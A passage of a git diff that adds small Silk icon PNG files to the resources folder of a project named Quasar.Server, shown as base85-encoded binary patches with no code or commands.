zR;;c*gQ6&qWf}Q=9;sA{&gT$|i6&ro%)LY0f_2wLyAC_e9ASq+u3Etu7u9GiKoA6Y zyE;cmU`TyT?i+$k6Byz~!4D7Y4!Pa#<`cE+CuDAd!f}ZXbiiVxce( zLZQIn5o-DIjdXP!!OAG^KN}ku5B~vbQ06k30fR6Ek~oG3E?;|b;X&0ux5We z`<%net$Dof>d@Xy!l_+?|K8aSlbnjOk;yO{4)bg<=w}7Nw_|`ZnG|^5X97IRt^WGQ zD%L;MjWyJc0Id_k^~kCIkw-$i4)6h=OtpUi7|C71tF5Q_b!>c?HvlI;Q3{%%>KgMK z(KG#$?uVkAKq#+$Cp$P!bmN>uJ&&@^o1KkltZ82T<6lQN7pT4(wtvQgk^c_UnVcJ% Sc~{E-0000 zv4KjGLD@@SwqBY+AwKj_2x)Ps2A1Yat)lSTxi^%;0wX%`a$6Fye?p-;}9Oz@3_H4Is>e~!^?WT9P4(UVR_y$uYg2R z0LM90z};reLY114GXmmv;A$P-B^yEOFE%_9+Ev5395PjP4WPtcoxO#h*GhbsI?f-T zC;7Pu|AZ>;$? tsn=ZC^sk$??2gfnFO}FzBE_uKzXNI$nkY}mb87$q002ovPDHLkV1k=gKso>b literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/sound_low.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sound_low.png new file mode 100755 index 0000000000000000000000000000000000000000..4d918633fb7c50bb382f91385540919583695bff GIT binary patch literal 524 zcmV+n0`vWeP)}W-Vhw;NT#RL?T9uLxYyXVPSxHJZ{>R$9RZyOF=SYo-}k2-w!jPV1Nk(IL7DO zV|bqJ_Mv1_1jn)OuW@=|^wWn#R~_NJtU~kr5%BG&OrdR>hyVLb-^~lVI0N<*QWk}{)T2Jp~1;rnJ&N2haulNhlC*Od9Gf>KFEtyV>~T1KT( zMys`lcDs%9Y!**GpCvG7uAr)U^!sP%^?K-byD$s`r=o}<$KlrRw*+%D1$0-K<~|ff zfh@~77KHKSyI>I8i8yRaw2IR8ItU>!0|7iT3@*K1Y{mtMqF^t`<+5lr>Nw*0@#HI( zfyeDeD71=LjJFr0(_1)Hq)$07*qoM6N<$f*zgBZU6uP literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/sound_none.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sound_none.png new file mode 100755 index 0000000000000000000000000000000000000000..b497ebd54abd420d6ad527e45cf61be55170e944 GIT binary patch literal 417 zcmV;S0bc%zP)=wlnx)<^8N0A$6XFU?l;N(8Q}Zq)nMgnHnL@z8KSBRn@Z&a%{xn|-d2Q4 zMH9;98$s8LZzsrcY-m~$XFnviYhEiADa-Lkz!&I><>UW8(|7X;y57kb#}^N300000 LNkvXXu0mjfTqdux literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/spellcheck.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/spellcheck.png new file mode 100755 index 0000000000000000000000000000000000000000..ebc632d9bc411a06cc269dcdd21b87574cd71693 GIT binary patch literal 603 zcmV-h0;K(kP)G^19JQHhNlNj`@k%q%HHzg==U|9D%gW$B$$pnzkJW0RZ8O~_ z**^l>7H?3b1=gURtg>1uTESC4M-RmX46)~p85(ciV2C_Fjlp$--AR~)afRMYkbh08 z4X%OwtCOX5QXyPUQYlKIT_aI_mrA_ym5}Ph590lI|1dY-e8b>)T!Q$}jyx;DP=E8f z`?4qhxtni(VX!@_j1r9uwKo$O%5S=2)f{@(N4)p$pTHGQ{xjEJf5%{XSQ;Z8FqGcZ zl3e`w2SfGs#SE#JIl*G#XPFqH&rY_S_vnAX(kK5JO0Pd>Fg+-NGa&&rR{O4h{-3$~ z_A`dyvpx*PS5LYx0%~3Y)SQ3$5raOeW=sQO&$9r%az1SBi~p8$9{kVP_~L)S!pHv^ zGB4j_(A+OUR8nT}JgFeudizi1j#vNv=0E(;kb3?$gX&%hlJWx3pG8j7?*C^+>Rcmn1oM)b>T(WMk zrdn2rL{1ko-TU77=Cjx4-E!AWHACGL5}B&*c1BQY zp;^!U^vb+n{(5Z6q?$dpNk2vZwyWBn`rx@#Y$^s=b4-*pYsrZr5dn{d>a?M4hsCn+fNwv@OAbk`VF+GVRPHd$-2A?c=&h@?oB!4fO1w%o8G8Kg=f5)qM<>7gCo* literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_basketball.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_basketball.png new file mode 100755 index 0000000000000000000000000000000000000000..f7a000b9ae4beb7e2f7a532418518dffb32dad73 GIT binary patch literal 977 zcmV;?11|iDP)hK4BUhe$KN9UVKPOxMNOv5-kgi^#pr|CgFd+|MrUGt z(8O1>C5urLHi^@yWCP5`g3ciz`jb5EQ)*Y6Fs<>YtYdi|Z$7iUj3J%5by<|2kMLF%Vl==ZZUK6wy_(+9Q< z#T14bqdL@$b8EdeIz8+6c$_2ho3Dm{@b&e$Ge3_}-Rz{0jFFqou>0@<9I}9N8OgM; z%o28~L@}#V+0e<-wM$(X#VN%q&IP>T<7}wsNzJa1pI2!+-p&1+vlMe>gj2y4bfY+( zc-#sVjvVFcW|Uxuba`lGP)X0m2=Cn{{K7LVUKplqfx{If^3>yCmJl{*$t0Fxl1*xC z=Sn!%C#m&RqbFAnDEjy$`qOa~+rr^@5@-!_>+4_XIyQiez!oyT+Ino$!0U4%Oaoj2 zvRUYlROO}6D+6fD8Rjovg{n%zE$uY*>|x^j3Di^`A=%gnY$1URSSFII2BVN6k+s$o z)0Fgz)&_S~x*a{WL?M%+F5H027hw9gd4!PJ-xtAO1(IbVTpontVdLH^g(BC)U*CN4 zQD$@H{ZL>xmBuug^(1YNgg^)^MIomax%2xPm=+aoiH7dO%#4il-IdWx(V}!xr0!g= zx-sxz|Gg35!xKFNeoH;% zRI>;DPCQAsGd&r#7FHA4(HHytKb{^=?hyV3XQ-8jhtkdh00000NkvXXu0mjfe#+H3 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_football.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_football.png new file mode 100755 index 0000000000000000000000000000000000000000..199f0f7f1c105db4d1da7923635ca4d1665b0618 GIT binary patch literal 875 zcmV-x1C;!UP)@uM zZrZKLQ08ITY#wSOr^)1q^3X-^zFU_|=8x~6ukZWw`Fy`03IMg#Q84MtI+(OwT`YR^ zV3Vj?^HwNTaMD`&0lplTt79Z>+eQn6urr&!LYc$xS7tL>WK7y@7dr>N0yf5al^FXV zLsw}Y7`B^#-7zO#%jvgKj-OtjYmA}ET{4Eq58sgU) ze_Mc+%rp;W7QIu=E5MLM0By4nQ^TL2uFOYUdL$YX0#O%x3Vk)D&@_v{KW#TNk2~o1 zJUcQ{Rek(IO!O`w32A=(Pd%2UB(9XD zCY7s8^6xpB2zkG~K0LdDM|18c{->}XW@ZJ)H4y#zi6N+Ou(xMXVl;FhpMV*0e*bg5@jLI;QHC){F;>`R6}I=gLXzN-t$s1{H|6% zFkP}V>jwBIwl2afcT19fK!@kT))+NX;>*FcvdkFBbFQH!B@C~lJjt{J3?{SOHlifR z2~YeTK=5R!nb8GGC14LJ9^Hl{IRxUHMzJvYpRtQ{X-ldG#PEas+&AjIl$l0Udaj;Id)vn&y*d&7N*J@Qi1vs&I{3r` zN;uS9-d$s#kRQ4UlnAM);Tu29MPw0&=V0ALf-u~#y|K5&P|)O&Q6@#jHI{rN+?m5# zn|(UeX6SH}S)ztZTNx8^caBi28||)&j0P%rrI#2S9ubln_~M9mAJ+3H`zst0#9~SW z)fPqNe-AC5DxPV#N~;c)1gQ&E`YIJZvc{al8E;!h97$=;Y~Y=cuJVCL5}GK`ebVvs^}p->Jpv`+_!K;KB5-)on5T t|E3VGbclvG6?Ksx{c002ovPDHLkV1hf>%BTPU literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_raquet.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_raquet.png new file mode 100755 index 0000000000000000000000000000000000000000..f5e0f0c2ce0e0070b5bb25fa9e3e8e5fb861c32d GIT binary patch literal 719 zcmV;=0xCr@S`IdWv({{8!lckbMoyLt2GqP1(+3W4PDYCe1Rtni5wCoUg8 zd^mp3o;@i$cI*h>v}sfPnl)<{EnT|w&iwiF)o^M)bLI@s@#Du|A3Ju;1!zdulP6Dl zA3b`s_36{6u^TpQ2%I~2?u_Zvrx#$=eERfhCZNWNhYlU813JGKsA<;Y$B#EXfBw7@ zXvl6LI}2#LSAT#1CaeY=J$h6QsQJLUb?Yi`-MUo-)UX?9NE^rnK$rA9eE4u1&|41e z?d>P98n9;Tey{XN2VSpQwJPYrg9mF~zI>SrvKfe{1NobPhSUNBx4faDVFy+N7O&eG z?9;UO$FgP1N`Z=DHn#&cgPh-S_wLT8m6ersSPhu8Xp6aX)sCNw7caKiyLT@r z@TT9te}D6{XU__OnzwJ;woSXDqT*IjQIQl@1EN|sE8CT9`8{XOob$ktc3-`Eb3|G@tVF^4Eohg|=AJL2lbZDeI!mXYyuU{BM`P`n65=@@E$5OP&}eExPHN zKIK+vY3a;@f&veidKArFy%Sm*+j@RD6s~$7-+SV}bKc^tr1HtNDW%s+?`qkyWy}Bf z@8AF5xN+nEth|yFnVFfKgz^d4fY#Pl$?op%{~tbl_zz5?|I@PzPo$-#5v3XKf}G;o z6~NH`pOTSxA|)k-Xw4{Lkert3o0yo$PKss_1^|BXzSrUmnOy(?002ovPDHLkV1jkM BXjuRN literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_shuttlecock.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_shuttlecock.png new file mode 100755 index 0000000000000000000000000000000000000000..917287fa0ba063e436798e7e1015745ca53bd612 GIT binary patch literal 683 zcmV;c0#yBpP)`0Ff_) z6e&KX(`h$k5oZ~J5u9y)zyE$Bk+^QPTGuQV%Y(lJAkE{v8jHo$!C9#h+Aw-No*ght z^l`{um25Vfi-I5ww8;=op`M_|ag-U@4_cbSRV2wryWPHJv)M$}FCj1rIcqYRM%n`O z`Wh7 zK2s_adXd;QT0WbcEP)@J~J92_N1h>M(YSQ14J;v%)B{1sS)#Klb_hrJ*Nk{|2G zCaV=WU}lz?oi{V@`{wz4q8u=_IULG%{~K*BO6KODwQin%3`99T6tnT{?BKGpriV&~ z&4lLt=;WE-M7a+Ovg?(x0kMvGKfN_$y%Aqtl=dC{6Xo7sSblM}pf454C2D$>sGGW% z9*Ev-%wDZ3Pl{}{PNFT*)zefq>)ZY~jIAtR^1zI*`ZAeJM_cNbs@|zM?CJY#iI$J% z^mKIOzMIrkkZvo64NY}zf92-I62Y{a{;4^rSBTSiz=)cPBNl4w`Q)lP-m6O$(;o{f z;~v>*KuaHU+F}$f7R2e3hCv6c&=mw7!HdtBYdE!qbq|qw^eo+5Go%YI zri}HfQL{4YHLp zUYR_SM+pD;A5hEG#uyVikJyhc>OuUH*p2Haf+~YXw0D(yP z#Q*(9(Elu|vyH(=ODdkx5mLt9X6SV0s#(EJlNopd*b6`zY)?PWbNk=W%i`{rgTK z{0us}i=QdsNYlJNPjhXKpx95be1d}7@A^tuKZDZ-mxQS1ZLZ8z!(N+N zm!bN`MYp~Sa9^t*iP5CRm{p9Zgh~=Y60sr^mW*cp^&j2BPXGUM-@5B#(`4ZQ0000< KMNUMnLSTXp`kIXZ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/star.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/star.png new file mode 100755 index 0000000000000000000000000000000000000000..b88c8578956ceec4ff17f81995b8652f6aa2b58d GIT binary patch literal 670 zcmV;P0%84$P)rx?szq&Dw38OK zY!^{rCAFy_2z8TV&4=Ube7+y|oYO*02OOyb5BD7I^ZdAQt`ZS+tMaFrb6^=AxbXHx zH;=|4CCm%L{PZwSS3v3G^sH+#W3JcR_xs(&`Tqt8^J9}d0vU#im5^f#04JL4qMaI^seoYDXwB>7;oyw=|M z1!ayym?6XvqV3ae_f95{py8ukt2TxB^!VIzRRh4#rNu~y^X+P>L{SXo3_|Qqm>9wY zz(9!5s#OBElpmj4DRyjO`0`RiEIkUg%7D)8y}}Ye3}prow;JG>UQOIs{kfZSJ9bYz zskMPbH9)1H6FDf)1=ZKVfe+;jf`a(O{!9meiN~~d0iA$0qX=t0D6Ydx4#RO76h@#R z9_k7Z;$fv6G>QeZ{Yu0n&xL4%!?l}UPj4!j&Vs@?dl=y8#_IQ`5I-5a_T$dJtJ_~5 z4&186>klZh{hfba4fr z6PwPau1z;L*OuFz&bh6rTf>}7rgwL{vsvHnW-Tgd2hPI}&i8YE=X?(f0PF88s3%G) zL~ga9&rja%@sULWLY>0xDcP!aOR+%eUoyJFnDMM*${oSj3a;9@k z?EJir4=x&dXBg%M8gg?G8D(;HQb1#`kDT^wiYFX2G`0|w(-g*MDHJwZ$)td~ZXZd^ zM=)UzLmd}~FicPwWyZ*_Ba#CO>rHB6>1>>#BxM)&QmCCWKWd?Nyxg z+&=)>6*{48at&4w&G;UI(G>&G80eS6s%?jEY7r{)3Wf}R$n|zStvwYwpMBs&0#Mpy zcZ}PEP+CZgSt-0{y6YWb^gq3VF|!w|!LPVeS&djM1|sMl)ZiNDpeh023*EHA5rTNw z2NmPHj~8At$fubW(Ar5}A-e;lANk z;&I0_l(AD4zwJ0C&ELV*x0W^AF~SJPZ4|Ri5*=L%H1XLGNhEkaL_j<+iFQ#NsyJzZ zGnr}Ze-3FkcX%m-Z}8^bAObm+L^Sn+F1qJ*Yw+yxJi4~{=tg~Udf;N#UODH;zN}dN Y4=LaLNh@8G#sB~S07*qoM6N<$g8f@x2mk;8 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/status_busy.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/status_busy.png new file mode 100755 index 0000000000000000000000000000000000000000..987c806fff759fafe2a221a8d1eba225a3ace560 GIT binary patch literal 751 zcmVMm^(vTr!>t+|;*hPrMu0kRLK}h1qZtx06|w?a-}3^qoWvxT zfGus7FwBUs(l#`$Om={_&1eeI{;ME6L5Jm!CgE9<;a*I@LCbfxzsBOR;|S94iWW$Y%n_pb3sBMQ?EUhPdzat|DF7MMoo}#Odu|*-#@{3>z*~tL(y81=;uZeUhC0MNvg+l|!JR7U)*Ljd(7Z>ZlA!;mAE z28_{LFwY3!^764(ehIPL)rb}qrN!4(BV2Y~0sQ#0j&hSGU+3y+>f$g$jds6Chbh3? zZN%c~0<6-Wm9mxO@RhWApCP33pF=vU8{R0>yQ4LanH|+bX7AiR=brjTXM8d@|Cf*C hq>WTt)Lfzb{|&yn-Q8GmUSt3O002ovPDHLkV1fp!UoZdw literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/status_offline.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/status_offline.png new file mode 100755 index 0000000000000000000000000000000000000000..59055a80c73898d75e18ec736e4ee267e7adde25 GIT binary patch literal 369 zcmV-%0gnEOP)fk zOG^R)7=_{fQP6LQF3UEx2tq2P+6Y0>%3MScu0*;aM2i*{1-6ig!9WJnvMjYU=c+SP zj&zY`W8mU#<)wyicg_O`z5xb0x9d3w0ooH{jhR3ub(++bf+ctxf{l|1wAi3R^*OQS@Q3LEW_&_A#_ zby`l5Lf{esf#BzazYnYro;>R`urR4oK_%%Tl`wj(@7$A)}*E;(=@8WLfNiu$rZSjKT|f z?ztgFjG5kqcYI|piiD0znMcxu@qLdC{dv@?y=84TL+wC&x#`trbDjJb8S`Y#xogcr P00000NkvXXu0mjftSOxC literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/status_online.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/status_online.png new file mode 100755 index 0000000000000000000000000000000000000000..947bd4b62c310bd4b02f4df393b801ff055da86c GIT binary patch literal 722 zcmV;@0xkWCP)U+=6QbVu-m7iQpne!TDVN%1_maZRwgWInz^rj-iiE`ej`WTM zRSR$kWHTx*hyeBSk=JUKdG_TQVeX5bE0{JyvV@u~P^D5s5>{3jW?s+db|lDTKTqGC zTB;fqj*8`$gA$E!<6(|fX0z`b`=!k>_Dp1l`;Nt~oamI2oIL+B0$>zlG-M*cEj-Gu z7G6GhbxY_MuX=WHbTpG5=t*22KG~LR)dDD60x7<}i*mIYa*$(UU#um+T$+%4V{Zh% z{cOt!EfID6%<))iH%0cxpsm%7NgxhbM6#gQ5TbN040g35dFYa72VLzg{mo$?eiv;5 z3j$KPDe(1gAtZcVGSS|uAQ+1u@epX5(kV+mX2~2LJ#7 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/stop.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/stop.png new file mode 100755 index 0000000000000000000000000000000000000000..0cfd585963d255190b8855a7689e8da1c4d7cf6b GIT binary patch literal 700 zcmV;t0z>_YP)*?Fk0YVb%?UEFajs1S?+YtYiPrjx0+ z+4YbyJXwz!SX#yqTlhtNQ%Ku9=RNm$j)&+(}lZ!UGGp|@|O z09YA#-dR#rIaGe;MBLe!ht*}!c?U}6YT!dfHDO%~>xtx&Klk-^WB==sC_vP4ddg4L z#GN10u$+QGf$!(i3&8VpF6O6+ef~&gQ#>AVqCJH_utvKMAuOeG%3%mn<<%9)yb~#4 zHc70e5sYyQ03$?zFUko7D1Bg1=6jXvg#bUm1b(pVKuC*}koEKGdj<=zdM#RWsl+kfRf;OU^G_BQh+Fc$z&F_AHuQYu(b)aq=H_Fx idDl8IBmWBc*Z2i=4uSP&;Q8VJ0000p%S8Yz4}?d^ZEOv#Sc!)mtIgHXaEQ+_ullV zJO1Y8v8UhuAAS7ozvIlitK{;}YszGvVI*jPQs)gu{RuZGF1qsJqxF>Ai*mOY zeUVJ^Xn04=g+vNN2-6q_7DHe6!8fa@! z^ZEB_2Vebf-umoI@{HTtK!PIfdyIp7Zk$|p=*|D=N%#IIE_w1_EaGe}ST5wWclgx% z|Fx4ZY{8likTKA?G12oM|4&}@o+);3yYs=L?ao)At-(S*$63Le zJ&q^>ZEbL?y!O>L=h9<7rvvdA2Do?L{p8zs_rGt?o&P=^cm5ltT|5S~l@laqmU8i; rSIv!oK>XjU`o@3v@@qdCD9z3Q7_5=EFk?|V00000NkvXXu0mjffa;^e literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/style_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/style_add.png new file mode 100755 index 0000000000000000000000000000000000000000..e0369c6be9d36e994b0de011069494460d96a837 GIT binary patch literal 844 zcmV-S1GD^zP)e0@+Julu(JNEkTghQ`>*6)1&K56lT)AFSk6p+=zFou9~?@f=o z<8N*rd;0DF(Z}EZJI=hjN-qDrrcCA;MuG+?b>3jqpKx>HqAMRhT2HyXD0l0#iaLPj_0@CCfwX2oqfq#v-#E>^WJ+0O*-%H zHfg=H+pP80LCw-@%MhBYE~}R8d~tQ=>345r($1Jk$Dh=ha`5$Q|0%Z*NM~MfR<5`? z*=OG4&)FMa{LftT;=fMmjdkL&7s}uU7`0rTx%v91Kl4t$`!M0as~0m4zJ7b)=BNL$ zv+kY|^Ex1>-*9Vvz`RHQoOC>ZM%CJXsdg~+{gcAqR#h%!vGjSdf96p zUz&8_)hmghBZe>+iF)o;PnvP(V#cg{58Ni-fA2Qo-b=Bl^VUFHgCb`>{I8mLVHwzf zj-AiHPdoVPfAiL7Uy^6s-UbpBao=Mc+;ijPvO{nFM^C!rXeXPW->+%GCcCp6&YIzdP%Hc)#v{<8+;QI1SLuzO*J`-lP9w z!6%zz+g-kIygcFm#%q)QgFw%o)c^f^(*K)hOZ~vm2n-}+(aVjYFP!CqB_qTX zOJ&0en^&%FY~D`yo5wuXrqeuThwbe*!4lN!gNF~E?|Yv2;o&s_0FxcK)F4Mv>u0z* zJhiT>SNoIRsri=6U06{-CYN%OHJ$srT8APibiLY-K*7FMO` zu!-u4!CmVjT89blRPxkIDKC*hn?y-keBB&eC_)C&se#e8D!|7|Y1Eu$<>Pfv>N49K>6fy0A2YR8!Poer$)vwrolN$#@;q4<}Pej2{e%3 zI=@b?o@g_YM+14D#L_V#yK@oZ%9M~)Hw)Nk$>Z&}>!Pcq%1JmymbL7=2fKmBjgNb+ z0y1kBXpaiveUuCEe9fUL91qlp8>1G%-IfQ7F?q0R5`%pM_H zlBZRaI3ut~u@Y3I*su)iBl3JP27{y#cAw>392ogM27x8WYUncrLQ548Qmg=v)c#(M zKW28lmJEQ3zM`w6LouCZ2JeDx41XWS7nLH=8uZMsJl-Y~+6d*|L+TPovcw00000NkvXXu0mjf$UutB literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/style_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/style_edit.png new file mode 100755 index 0000000000000000000000000000000000000000..25bb5b677f89b1071fa44f29a006ed0be8fca098 GIT binary patch literal 927 zcmV;Q17Q4#P)4 za;GYM@Zfsyfm)fD&Ry41qf>=r$+ULd=aUgoB$PD=lkdf_7Ilg?zyQOl7->rK6-vac z;TV_Zv*2yTAsc({lxwkakt#&M=^sjC#7^AUP&&Nl19N&`|TDi=7JD}Yd0Ws1C z>4Cn`%K-NAO-Gb$R zVwgTXc$E4*bT1D$0aYNf*Tq)K^tV$NSHqh(`FgCPo#PoB*clz&@Zz?t*3^<<*(b1GSS=liGL+!XKb`BrUt80E|` zL^nZdavGLlE*g6AK5q89fuGJSBa^o|%9F?I)(M}uC9Y*LTOPY~cz<|nclXlE}xo*2>>r;3Jd?&=tr_!Iww zFvhUfzU@K1>#kb5wJi!Jl*ja3{?P6ZuOx9B{{rz!RGKb8<;DO2002ovPDHLkV1j*g BxhDVs literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/style_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/style_go.png new file mode 100755 index 0000000000000000000000000000000000000000..25d6181ac9f814963f515c363bf7dcfe6bcb0a27 GIT binary patch literal 862 zcmV-k1EKthP)2r7#xK|RPpjbh>wel673Rj41+4mDY(S62jvPf{cq_v-ek|xTnHW zcy>yBKofFot(G%sIo1G#B%vscr`XiR&NXTSkpSLxhuVKlq0b8fvyOFFICMGFVJx`o z9Z!=OMxATr&E12nLGp!$En9SU4yb-$Bs%I$=UqQ0;@>DHH#uj+XO1BG@b#0f`j*b% zo8Hdvx0MG(WnybQmvf0{fLEm&_Y`L7>wJFk>(D^NoodoN<0$9?4~r423@C43b=vt~ z0*?2*oN`Y*E_*Q9wyl*&`1ywsVT_}Uv9QE^%|MQl-1Pkg6v=u96VUQZ`urNt9<+Do zr|^ZdQLNirlXi73nNsU1DX+HO*_mf5iiqH}tyY^vB#3s)dZ?;8(n=J8hK1z0zs%x8 zT1>1K$0a0CnB(M-F6V97!xY3?q4QI zJM^)H5?WbPBLbE&q$N9)VtHORIqL_r!3rM(UC=%3$HBg~Gs|XB+dLZ9sKLl-cY%l` zKqR4blOUOve74k81AYGY&^6=(7kL5%b7;jOE~VfKJH5%V!}5B_^8pbkn`lx_`d?dE oimQ>CmWj#|C$c)&MDd^eZ)gE}if+w3_5c6?07*qoM6N<$f-cC6E&u=k literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/sum.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sum.png new file mode 100755 index 0000000000000000000000000000000000000000..fd7b32e43bc8128181c1aeacc2c1b0af9dac484b GIT binary patch literal 289 zcmV++0p9+JP)dEcNn4H`bJ0C+qr9t=q z3IB5(AiS{sSlm!hKmUK){R9C#j!Zc}`+sBs9tE)p5$}U$;ZzVK5OzQCHlA<@UGIO! zvj@U9`H!I>IKl6{$7vAD0_aTr_h<@&41C_Zzj3U$sWlFzu{fRl=l_3uX4QtyMkj+0 zY#SOnetv##&Ac*9!Aw2qzO90ukB`rtBTS+*)~sK@Qd3Wl>6w91lc$EXqw|d(p7rtj zL#=9mJql4^&ui$IAYgxZvAe!x-T!~wAEkwbV}v;l|IpFV;kk6_P=alNz5|0Yv$3)9 z;rsjlKkS;w>nL%6C&hSi8{-+bv^22=Ol%^&FHDS$JJJrBFsN`$`tyH2>+-h(-T}M` zbIkMa)w8ljvf0|^RyP)a!RbZ^nygOjY zvaEgmwz2N_`+TjfUI2su5O03fI=3GN zO-DxyfY)uofj}vRZ5#J+ElHI?A*K4L!FxreG+Of^;j>jrB82=(AcRCIi81=y>WNH@ z%WRC|bAfWDj8}GRun?h8$n^AdF*G#bidPlPiBA#-q@JRT_(tjU^l_TnC4PNQQ?cK< zK{}l!ozDLFW@ou==4Pg`rH#LBisPFd#s??Z*^7WN=GQg5GHfE(Tc#HK$)FiqXft*F z#C#!FO5Mi@99aMa4lQnTNq|ya1TW@gEuM_gfac(8lLn!QCe8qYqTX>HUu+Km^FSj| e1UBOv_sg$~0hzRbE)Q}50000VjOibLw0u`97udk^oE-nJ*FfxKk zC>udT*o+LXU%yp4efr{5AO~)Mh>#FJ!=pzp8Gir%3-KEh6I>Gr!}u&LEDX}p!eBjc zFF*hz12Z!-!{5LE;fj$BK^VXcWHY0N0nA2bW)`3V1{4kGG&3`ZX2LW8BnXoH|DOe` z?Z1w%Vfc1rIm54K4;WsHN-*$Bn*;SGGBD1YH}AiKf-Hlco;E!25CI0^zuC2r;rrQ* z4662l4D5>94Bs#9Vz_o>FT;IqU5EjM;!J!~6@z1HDFf%-0}KpLk1#Os3oyK4k!Lu4 z>^cJjC@&Dgdz@JQ{X4tvKQee9-48WwCz=RY_ZJ~6X0ynn~YaOWu_Fv1z8F%p}dk4DHUL_z|9*cLd@B00000NkvXXu0mjfcQ48A literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/tab_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tab_edit.png new file mode 100755 index 0000000000000000000000000000000000000000..4c725bc15fedfbfa5bc71b40eaa13c044515851c GIT binary patch literal 572 zcmV-C0>k}@P)aaRXq`&o}Sa6W~ZBthhHeYh)K_z zVS{EZo}Qkgmx-xoBC3f)wWf8srH8(H8os`}z`(x2u#3UL!NRhS!^6YHm`TOO#m0?C z#>T|Q$H&QqLCML-%f6M&%*)Nq$Is8r(49unw~*DgdezIo*0^=oqhr{bRM@3h*x1+E znNHi6NZXi6+p&e;-`3yX*WjQ|;o;fh;@jlORpjK`<=Ls_<=f@u+~>Y`=fI2S%XjD3 z!0X=3>+9w0)PL;k=Ird}?aFQK(0J|b=I+yZ?$mwn(yZ{(wD8k;@zi_q@$2#N?DE!n z_1s?d++X$ITlUkg_T6mv-(&aTTKD2x_~Kpp$CUZWk@@4Y{NTj>_QL)4#Qpcj|MKAf z^W`_r=BNMw026dlPE!CPCPPzNUct!L=<4_P_xbz#{U42QCIA2cnn^@KR2b7^U?2ss z7+dJDA@NzAgE9lT7#Ns2M8H78Gub6Ng^z)OQ_J4o(aFgnAT7qnP>6|vf!k6=PEJ9? zKRq%&+?pS#mD@^PK}ps%Jt8i|+>I9`V56xjZ;%?B5NxLJ0T!^;mekX=i}E$qH}M7v zh)8?+iDwu|DJr{%hK0$9Fo0|nPE1l06NT6gb`p<(AUh)i*#H3EvKaXD?VmXS0000< KMNUMnLSTZQ=|jK( literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/tab_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tab_go.png new file mode 100755 index 0000000000000000000000000000000000000000..844ce04bd64f9a38dad3d491bd463629a2ac4c35 GIT binary patch literal 552 zcmV+@0@wYCP)}QD-v#^of`t8ol%E>>SLB14q9p3NkwX3|5@!@8rWb+j zKGBJmy2QkcQa}UehH7>3bQIt=s3TxA6y;UGTiArh*fR!}8qk|Fkq{6sz{|@^k(K3w z%jHs|NCEqpqO)ocj5}Zsg9DDM`v_`ETJc0*F&`PpL=aqc5DG;UzFLe>MZUZ{hb6kO z9Sat-@DP7QZD|{xtQSm&hCqJ%3;hd~yxTVUEhb{&Mw4$WDDyjt0&Y(-LC>Y za~>9>RP2BvW>Zv{Ra&#B3%lVhY@Dqf3UcFBfX7L?zp;8!i`JL5o114Fd(=UTAXByc qbOk))B+4A!e05mHZ9qIv(%t|bp11egU=P6n0000>q?GuNnCdgP^*Bj5V_b?dAq2Ppn9^MBB^YUM zad0N-T{Ujg*A6d~mYV4na=hT4Nz+_}SGTgW|Iir!%$ z;@OGkWI6+j0H}~K4RYR%!7y|zM`O@*K>rL{*&}x3lR**HrMXC1->#slU>X|w!U1xQ zqcSga-P2WR)@z|k1bh>$XklZUXIIOiAi6N%V3E~W0KBflg?(2PiU6WYM0S(o78caUv;6^ zdZgKWzIJ`3+hui}Zuf{VIhjIra4 zvgC}sWsSOIj;^AP$%l`$<&V2+kGyA)wdRqpos+lclgo>gx966+>6p6dn9h)zyz862 z>z%&qozRq?zwDpD?V;0{rPZ9K!|AES=&Hu)tj6iA$LOrb>aEA=uF2`H$?CAk=&;G@ zu*vGN(~z;&lCsO{veK2a%<8n%m9@<1w$z-r&g#0*>$}kFz0vEw((Av|>(J)9*y8Zp zh$LA_UiEW>+$#P^7!ua`S0`j@bvoe_WJVn`tXa-1 z000bhQchC)30E}#2?ygSuwx)(U8fvUS z0rqkvzzr1eEcfyDaB;9S($!QgR|E>Ul~=$)xdKqYx!e~H%4LB9j^(};en8nkATE#s 